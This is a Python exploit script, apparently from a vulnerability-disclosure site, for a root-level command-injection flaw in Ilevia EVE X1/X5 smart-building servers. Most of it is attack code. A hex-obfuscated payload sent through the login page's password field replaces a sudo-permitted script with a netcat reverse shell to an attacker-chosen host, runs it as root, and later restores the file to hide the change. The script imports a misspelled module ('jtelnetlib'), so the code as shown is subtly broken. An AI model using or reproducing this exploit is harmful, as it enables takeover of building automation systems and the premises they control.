Ilevia EVE X1/X5 Server 4.7.18.0.eden – Reverse Rootshell

#!/usr/bin/env python

#

# Ilevia EVE X1/X5 Server 4.7.18.0.eden Reverse Rootshell

#

# Vendor: Ilevia Srl.

# Product web page: https://www.ilevia.com

# Affected version: <= 4.7.18.0.eden (Logic ver: 6.00)

#

# Summary: EVE is a smart home and building automation solution designed

# for both residential and commercial environments, including malls, hotels,

# restaurants, bars, gyms, spas, boardrooms, and offices. It enables comprehensive

# control and monitoring of electrical installations through a highly customizable,

# user-friendly interface.

#

# EVE is a multi-protocol platform that integrates various systems within

# a smart building to enhance comfort, security, safety, and energy efficiency.

# Users can manage building functions via iPhone, iPad, Android devices, Windows

# PCs, or Mac computers.

#

# The EVE X1 Server is the dedicated hardware solution for advanced building

# automation needs. Compact and powerful, it is ideal for apartments, small

# to medium-sized homes, and smaller commercial installations. It is designed

# to manage entire automation systems reliably and efficiently.

#

# Desc: A misconfiguration in the sudoers file permits passwordless execution

# of specific Bash shell scripts via sudo, exposing a critical privilege escalation

# vulnerability. When such scripts are writable by a web-facing user (www-data) or

# accessible through a command injection vector, an attacker can overwrite or replace

# them with malicious payloads. Upon execution with sudo, these scripts run with

# elevated privileges, allowing the attacker to gain full root access remotely.

#

# ------------------------------------------------------------------------------

# $ python rewteve.py 10.0.0.18:8080 10.0.0.4 5555

# [+] Cyber-link active on 0.0.0.0:5555...

# [*] Firing at http://10.0.0.18:8080/ajax/php/login.php

# [+] Pulse from 10.0.0.18:46444

# [*] Probing matrix with 'pwd' signal...

# [+] Verifistring: /home/ilevia/www-config/http/ajax/php

# [*] Synaptic intrusion confirmed, escalating to holo-shell...

# # id

# uid=0(root) gid=0(root) groups=0(root)

# # exit

# [+] ilevia_reboot restored.

# ------------------------------------------------------------------------------

#

# Tested on: GNU/Linux 5.4.35 (armv7l)

# GNU/Linux 4.19.97 (armv7l)

# Armbian 20.02.1 Buster

# Apache/2.4.38 (Debian)

# PHP Version 7.3.14

#

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

# @zeroscience

#

# Advisory ID: ZSL-2025-5959

# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5959.php

#

# 01.05.2024

#

import jtelnetlib # ._

import threading # ._

import requests # ._

import socket # ._

import time # ._

import sys # ._

def init_quantum(target_data):

if "http://" not in target_data and "https://" not in target_data:

target_data = "http://" + target_data

if ":" not in target_data.split("//")[1]:

target_data = target_data.rstrip("/") + ":80"

return target_data.rstrip("/")

def spark_neuroport(cyber_gate):

def neuro_core():

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:

s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

s.bind(("0.0.0.0", cyber_gate))

s.listen(1)

print(f"[+] Cyber-link active on 0.0.0.0:{cyber_gate}...")

conn, addr = s.accept()

print(f"[+] Pulse from {addr[0]}:{addr[1]}")

holo_term = telnetlib.Telnet()

holo_term.sock = conn

print("[*] Probing matrix with 'pwd' signal...")

conn.sendall(b"pwd\n")

time.sleep(0.5)

try:

data_stream = conn.recv(4096).decode(errors='ignore')

data_nodes = data_stream.splitlines()

if data_nodes and data_nodes[0].strip() == "pwd":

data_nodes.pop(0)

output = "\n".join(data_nodes).strip()

print("[+] Verifistring:", output)

if 'ilevia/www-config' in output:

print("[*] Synaptic intrusion confirmed, escalating to holo-shell...")

conn.sendall(b"script /dev/null -c /bin/sh\n")

time.sleep(0.5)

try:

_ = conn.recv(4096)

except:

pass

else:

print("[!] Expected neural path not detected. Holo-shell may be unstable.")

except Exception as e:

print(f"[!] Error in synaptic probe: {e}")

import select

while True:

try:

cmd = input("# ").strip()

if cmd == "exit":

conn.sendall(b"\x72\x6d\x20\x2f\x68\x6f\x6d\x65\x2f\x69\x6c\x65\x76\x69\x61\x2f"

b"\x77\x77\x77\x2d\x63\x6f\x6e\x66\x69\x67\x2f\x68\x74\x74\x70\x2f"

b"\x73\x68\x2f\x69\x6c\x65\x76\x69\x61\x5f\x72\x65\x62\x6f\x6f\x74"

b"\x3b\x6d\x76\x20\x2f\x68\x6f\x6d\x65\x2f\x69\x6c\x65\x76\x69\x61"

b"\x2f\x77\x77\x77\x2d\x63\x6f\x6e\x66\x69\x67\x2f\x68\x74\x74\x70"

b"\x2f\x73\x68\x2f\x69\x6c\x65\x76\x69\x61\x5f\x72\x65\x62\x6f\x6f"

b"\x74\x2e\x6f\x6c\x64\x20\x2f\x68\x6f\x6d\x65\x2f\x69\x6c\x65\x76"

b"\x69\x61\x2f\x77\x77\x77\x2d\x63\x6f\x6e\x66\x69\x67\x2f\x68\x74"

b"\x74\x70\x2f\x73\x68\x2f\x69\x6c\x65\x76\x69\x61\x5f\x72\x65\x62"

b"\x6f\x6f\x74\x0a")

print("[+] ilevia_reboot restored.")

break

if not cmd:

continue

conn.sendall((cmd + "\n").encode())

response = b""

conn.setblocking(0)

end_time = time.time() + 0.5 # max 1.5, collect output

while time.time() < end_time:

ready = select.select([conn], [], [], 0.1)

if ready[0]:

try:

chunk = conn.recv(8160)

if not chunk:

break

response += chunk

except:

break

else:

time.sleep(0.1)

conn.setblocking(1)

data_stream = response.decode(errors='ignore')

data_nodes = data_stream.splitlines()

clean_output = []

for line in data_nodes:

if line.strip() == cmd:

continue

if line.strip() in ["$", "#"]:

continue

clean_output.append(line)

if clean_output:

print("\n".join(clean_output).strip())

except Exception:

print("[!] Neural link terminated.")

break

conn.close()

cyber_thread = threading.Thread(target=neuro_core)

cyber_thread.start()

return cyber_thread

def fire_photon(target_matrix, cyber_origin, cyber_gate):

print(f"[*] Firing at {target_matrix}")

payload = (b"\x3b\x63\x70\x20\x2f\x68\x6f\x6d\x65\x2f\x69\x6c\x65\x76\x69\x61"

b"\x2f\x77\x77\x77\x2d\x63\x6f\x6e\x66\x69\x67\x2f\x68\x74\x74\x70"

b"\x2f\x73\x68\x2f\x69\x6c\x65\x76\x69\x61\x5f\x72\x65\x62\x6f\x6f"

b"\x74\x20\x2f\x68\x6f\x6d\x65\x2f\x69\x6c\x65\x76\x69\x61\x2f\x77"

b"\x77\x77\x2d\x63\x6f\x6e\x66\x69\x67\x2f\x68\x74\x74\x70\x2f\x73"

b"\x68\x2f\x69\x6c\x65\x76\x69\x61\x5f\x72\x65\x62\x6f\x6f\x74\x2e"

b"\x6f\x6c\x64\x3b\x65\x63\x68\x6f\x20\x22\x6d\x6b\x6e\x6f\x64\x20"

b"\x2f\x74\x6d\x70\x2f\x70\x69\x70\x65\x20\x70\x3b\x20\x2f\x62\x69"

b"\x6e\x2f\x73\x68\x20\x2d\x69\x20\x3c\x20\x2f\x74\x6d\x70\x2f\x70"

b"\x69\x70\x65\x20\x7c\x20\x6e\x63\x20" +# \xn#" #####

f"{cyber_origin}".encode() +# \x1#" #

b"\x20" +# :): \xn#" #

f"{cyber_gate}".encode() +# \xa#" #####

b"\x20\x3e\x20\x2f\x74\x6d\x70\x2f\x70\x69\x70\x65\x22\x20\x3e\x20"

b"\x2f\x68\x6f\x6d\x65\x2f\x69\x6c\x65\x76\x69\x61\x2f\x77\x77\x77"

b"\x2d\x63\x6f\x6e\x66\x69\x67\x2f\x68\x74\x74\x70\x2f\x73\x68\x2f"

b"\x69\x6c\x65\x76\x69\x61\x5f\x72\x65\x62\x6f\x6f\x74\x3b\x63\x68"

b"\x6d\x6f\x64\x20\x2b\x78\x20\x2f\x68\x6f\x6d\x65\x2f\x69\x6c\x65"

b"\x76\x69\x61\x2f\x77\x77\x77\x2d\x63\x6f\x6e\x66\x69\x67\x2f\x68"

b"\x74\x74\x70\x2f\x73\x68\x2f\x69\x6c\x65\x76\x69\x61\x5f\x72\x65"

b"\x62\x6f\x6f\x74\x3b\x73\x75\x64\x6f\x20\x2f\x68\x6f\x6d\x65\x2f"

b"\x69\x6c\x65\x76\x69\x61\x2f\x77\x77\x77\x2d\x63\x6f\x6e\x66\x69"

b"\x67\x2f\x68\x74\x74\x70\x2f\x73\x68\x2f\x69\x6c\x65\x76\x69\x61"

b"\x5f\x72\x65\x62\x6f\x6f\x74")

try:

requests.post(target_matrix, data={"userid":"inas","passwd":payload}, timeout=3)

print("[*] Photon fired.")

except requests.exceptions.ReadTimeout:

pass

except requests.exceptions.RequestException as e:

print(f"[!] Photon failed: {e}")

def boot_sequence():

if len(sys.argv) != 4:

print(f"Usage: {sys.argv[0]} <target_ip[:port]> <callback_ip> <callback_gate>")

print("Example: python eve.py 1.2.3.4:8080 5.6.7.8 5555")

sys.exit(1)

target_data = sys.argv[1]

cyber_origin = sys.argv[2]

try:

cyber_gate = int(sys.argv[3])

except ValueError:

print("[!] Cyber gate must be numeric.")

sys.exit(1)

target_matrix = init_quantum(target_data) + "/ajax/php/login.php"

neuro_thread = spark_neuroport(cyber_gate)

time.sleep(1)

fire_photon(target_matrix, cyber_origin, cyber_gate)

neuro_thread.join()

if __name__ == "__main__":

boot_sequence()

相关漏洞条目

strongSwan 5.9.13 – libsimaka EAP-SIM/AKA heap buffer overflow

Wing FTP Server 8.1.3 – Authenticated Remote Code Execution

Microsoft – NTLMv2 Hash Capture

telnetd 2.7 – Buffer Overflow